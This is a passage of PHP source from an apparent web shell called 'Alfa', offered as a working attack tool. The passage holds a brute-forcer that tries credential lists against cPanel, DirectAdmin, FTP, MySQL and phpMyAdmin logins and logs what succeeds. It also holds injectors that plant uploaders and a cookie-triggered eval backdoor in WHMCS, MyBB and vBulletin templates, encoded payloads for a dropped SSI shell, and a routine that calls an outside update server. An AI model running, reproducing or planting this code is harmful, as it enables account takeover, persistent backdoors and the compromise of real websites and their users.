alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info[\'mysql\'])
$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'].\'/CMD_LOGIN\';
else $url = $info[\'protocol\'].$info[\'target\'].\'/phpmyadmin\';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info[\'username\'].\':\'.$info[\'password\']);
if($info[\'mysql\'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}
elseif(preg_match(\'/CMD_FILE_MANAGER|frameset/i\',$result)){
echo \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';
$info[\'target\'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info[\'username\'].":".$info[\'password\']) . "

"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}
elseif(preg_match(\'/filemanager/i\',$result)){
echo \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';
$info[\'target\'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info[\'protocol\'].$info[\'target\'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info[\'username\'].":".$info[\'password\']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}
elseif(preg_match(\'/(\d+):(\d+)/i\',$result)){
echo \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';
$info[\'target\'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info[\'target\'].\':\'.$info[\'port\'],$info[\'username\'],$info[\'password\'])){
CrackerResualt($info);
echo \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info[\'target\'],$info[\'port\'])){
if($con){
$login=@ftp_login($con,$info[\'username\'],$info[\'password\']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info[\'target\'].\' => \'.$info[\'username\'].":".$info[\'password\']."
" ;
$c = @fopen($info[\'fcrack\'],\'a+\');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case \'cp\':return Alfa_CP_Cracker($info);break;case \'direct\': case \'phpmyadmin\':return Alfa_DirectAdmin_Cracker($info);break;case \'ftp\':return Alfa_FTP_Cracker($info);break;case \'mysql\':return Alfa_Mysql_Cracker($info);break;case \'mysql\':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo \'<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">\';
foreach(array(\'cp\'=>\'Cpanel\',\'direct\'=>\'DirectAdmin\',\'ftp\'=>\'FTP\',\'phpmyadmin\'=>\'PhpMyAdmin[DirectAdmin]\',\'mysql\'=>\'mysql_connect()\',\'ftpc\'=>\'ftp_connect()\') as $key=>$val)echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');
echo \'</select> Protocol: <select id="protocol" name="protocol">\';
foreach(array(\'https://\',\'http://\',\'ftp://\') as $val)echo(\'<option value="\'.$val.\'">\'.$val.\'</option>\');
echo \'</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">\'.($GLOBALS[\'sys\']==\'unix\'?alfaEx("cut -d: -f1 /etc/passwd"):"").\'</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>\';
$target = str_replace(array(\'https://\',\'http://\',\'ftp://\'),\'\',$_POST[\'alfa1\']);
$port = $_POST[\'alfa2\'];
$usernames= $_POST[\'alfa3\'];
$passwords = $_POST[\'alfa4\'];
$fcrack = $_POST[\'alfa5\'];
$cracking = $_POST[\'alfa6\'];
$protocol = $_POST[\'alfa7\'];
$loginpanel = $_POST[\'alfa8\'];
$p = $loginpanel == \'phpmyadmin\' ? $p = true : false;
if($cracking==\'start\'){
echo __pre();
$exuser = explode("
",$usernames);
$expw = explode("
",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array(\'username\' => trim($user),\'password\' => trim($pw),\'port\' => trim($port),\'target\' => trim($target),\'protocol\' => trim($protocol),\'fcrack\' => trim($fcrack),\'mysql\' => $p);
Alfa_Call_Function_Cracker($loginpanel,$array);
}
}
echo \'<br><font color="red">Attack Finished...</font>\';
}
echo \'</div>\';
alfafooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target=\'_blank\' href=\'".$string."\'>Click Here !</a></font></b></center><br><br>";}
function alfaShellInjectors(){
alfahead();
echo \'<div class=header>\';
AlfaNum(11);
echo \'<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>\';
$selector = \'<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>\';
if(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']== \'whmcs\'){
AlfaNum();
echo __pre()."<p><div class=\'txtfont_header\'>| WHMCS |</div></p><center><center><p>".getConfigHtml(\'whmcs\')."</p><form onSubmit=\"g(\'ShellInjectors\',null,\'whmcs\',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method=\'post\'>";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Path WHMCS Url : \', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host : \', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name : \', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User : \', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass : \', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo $selector;
echo "<p><input type=\'submit\' value=\' \'></p></form></center></td></tr></table></center>";
if(isset($_POST[\'alfa6\'])) {
$dbu = $_POST[\'alfa6\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$path = $_POST[\'alfa10\'];
$method = $_POST[\'alfa4\'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("\'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet[\'message\'];
$tempSave = str_replace("\'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = \'1\' WHERE setting = \'AllowSmartyPhpTags\'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE name=\'Password Reset Validation\'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values(\'[email protected]\')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists(\'curl_version\') && $method == \'auto\'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= \'http://\'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href=\'".$path."/pwreset.php\' target=\'_blank\'>".$path."/pwreset.php</a><br/><font color=\'#FFFFFF\'> And Reset Password With Email</font> => <font color=red>[email protected]</font><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$path."/solevisible.php\' target=\'_blank\'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert(\'Path is not Valid...\');}}}
}if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']== \'mybb\'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class=\'txtfont_header\'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id=\'sendajax\' onSubmit=\"g(\'ShellInjectors\',null,null,\'mybb\',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'dbh\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'dbn\', \'id\'=>\'db_name\' ,\'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'dbu\', \'id\'=>\'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'dbp\', \'id\'=>\'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'prefix\', \'id\'=>\'db_prefix\',\'inputValue\' => \'mybb_\', \'inputSize\' => \'50\')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=\' \'></p></form></center></center>";
if(isset($_POST[\'alfa6\'])) {
$dbu = $_POST[\'alfa6\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$method = $_POST[\'alfa4\'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("\'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where  title= \'calendar\'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp[\'template\'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("\'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= \'".$newinshell.$repsave."\' where title = \'calendar\'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= \'bburl\'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb[\'value\'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1
");
@fputs($fsock, "HOST: $realurl
");
@fputs($fsock, "Connection: close

");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= \'$repsave\' where title = \'calendar\'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists(\'curl_version\') && $method == \'auto\'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = \'http://\'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = \'http://\'.$realurl.$realpath."/calendar.php";
$fff = \'http://\'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id=\'strOutput\' style=\'margin-top:5px\' class=\'ml1\'><br><center><b><font color=\'#FFFFFF\'>Please Go To Target => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']== \'vb\'){
AlfaNum(1,2,7,9,10);
echo __pre().\'<p><div class="txtfont_header">| vbulletin |</div></p><p>\'.getConfigHtml(\'vb\').\'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'lo\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'db\', \'id\'=>\'db_name\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'user\', \'id\'=>\'db_user\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'pass\', \'id\'=>\'db_pw\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'tab\', \'id\'=>\'db_prefix\',\'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo $selector;
echo \'<p><input type="submit" value=" " /></p></form></center>\';
if(isset($_POST[\'alfa4\'])&&!empty($_POST[\'alfa4\'])){
$method = $_POST[\'alfa8\'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\'],$_POST[\'alfa7\']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd[\'template\'];
if(empty($savetoass)){
	$faq_name = "header";
	$faq_file = "/";
	$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";
	$recivedata = @mysqli_query($conn,$rec);
	$getd = @mysqli_fetch_assoc($recivedata);
	$savetoass = $getd[\'template\'];
	$code = ALFA_UPLOADER.";";
}
$code = str_replace("\'","\'",$code);
$p = "UPDATE ".$_POST[\'alfa6\']."template SET `template`=\'".$code."\' WHERE `title`=\'".$faq_name."\'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST[\'alfa6\']."setting WHERE `varname`=\'bburl\'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval[\'value\'];
if($faq_name == "header"){
	if(substr($saveval, -5, 5) == "/core"){
		$saveval = substr($saveval, 0, -5);
	}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1
");
@fputs($fsock, "HOST: $realurl
");
@fputs($fsock, "Connection: close

");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists(\'curl_version\') && $method == \'auto\'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = \'http://\'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = \'http://\'.$realurl.$realpath.$faq_file;
$fff = \'http://\'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></center></p>";}}}
echo \'</div>\';
alfafooter();
}
function alfacheckfiletype(){
	$path = $_POST[\'path\'];
	$arg = $_POST[\'arg\'];
	if(@is_file($path.\'/\'.$arg)){
		echo("file");
	}else{
		echo("dir");
	}
}
function alfacheckupdate(){
	if($GLOBALS["DB_NAME"]["cgi_api"]){
		if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
			_alfa_cgicmd("whoami","perl",true);
			if(strlen(alfaEx("whoami",false,true))>0){
				__alfa_set_cookie("alfa_canruncmd", "true");
			}
		}
	}
	if(function_exists("curl_version")){
		$update = new AlfaCURL();
		$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
		$json = @json_decode($json,true);
		$data = array();
		if($json){
			if(!isset($_COOKIE[\'alfa_checkupdate\']) && !empty($json["type"])){
				if($json["type"] == "update"){
					if(__ALFA_VERSION__ != $json[\'version\'] || __ALFA_UPDATE__ != $json[\'version_number\']){
						@setcookie("alfa_checkupdate", "1", time()+86400);
						$data["content"] = \'<div class="update-holder">\'.$json["content"].\'</div>\';
					}
				}
			}
			if(isset($json["ads"]) && !empty($json["ads"])){
				$data["content"] .= $json["ads"];
			}
			if(isset($json["copyright"]) && !empty($json["copyright"])){
				$data["copyright"] = $json["copyright"];
			}
			if(isset($json["solevisible"]) && !empty($json["solevisible"])){
				$data["solevisible"] = $json["solevisible"];
			}
			if(isset($json["code_name"]) && !empty($json["code_name"])){
				$data["code_name"] = $json["code_name"];
				$data["version_number"] = __ALFA_VERSION__;
			}
			if(isset($json["market"]) && !empty($json["market"])){
				$data["market"] = $json["market"];
			}
			echo @json_encode($data);
		}
	}
}
function alfaWriteTocgiapi($name, $source){
	$temp = "";
	$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
	if(in_array($name, $not_api)){
		$temp = ALFA_TEMPDIR;
		if($temp){
			@chdir($temp);
		}
	}else{
		alfaCreateParentFolder();
		@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);
	}
	@mkdir(\'alfacgiapi\',0755);
	__write_file("alfacgiapi/".$name, __get_resource($source));
	@chmod("alfacgiapi/".$name, 0755);
	return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
	if(!isset($_COOKIE["updateheader_data"])){
		$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
		$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
		$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
		$data = alfaEx("cd \'{$tmp_path}/alfacgiapi\';sh getheader.alfa",false,true,true);
		if(@is_array(@json_decode($data,true))){
			__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
			echo $data;
		}
	}else{
		echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
	}
}
function alfassiShell(){
alfahead();
echo \'<div class=header>\';
alfaCreateParentFolder();
@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir(\'alfa_shtml\',0755);
@chdir(\'alfa_shtml\');
alfacgihtaccess(\'shtml\');
$code = \'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==\';
@__write_file(\'alfa_ssi.shtml\',__get_resource($code));
@chmod("alfa_ssi.shtml",0755);
echo AlfaiFrameCreator(\'alfa_shtml/alfa_ssi.shtml\');
echo \'</div>\';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class=\'txtfont_header\'>| Cloud Flare ByPasser |</div><br><form action=\'\' onsubmit=\"g(\'cloudflare\',null,this.url.value,\'>>\'); return false;\" method=\'post\'>
<p><div class=\'txtfont\'>Target:</div> <input type=\'text\' size=30 name=\'url\' style=\'text-align:center;\' placeholder=\"target.com\"> <input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";
if($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){
$url = $_POST[\'alfa1\'];
if(!preg_match(\'/^(https?):\/\/(w{3}|w3)\./i\', $url)){
$url = preg_replace(\'/^(https?):\/\//\', \'\', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers[\'Server\'];
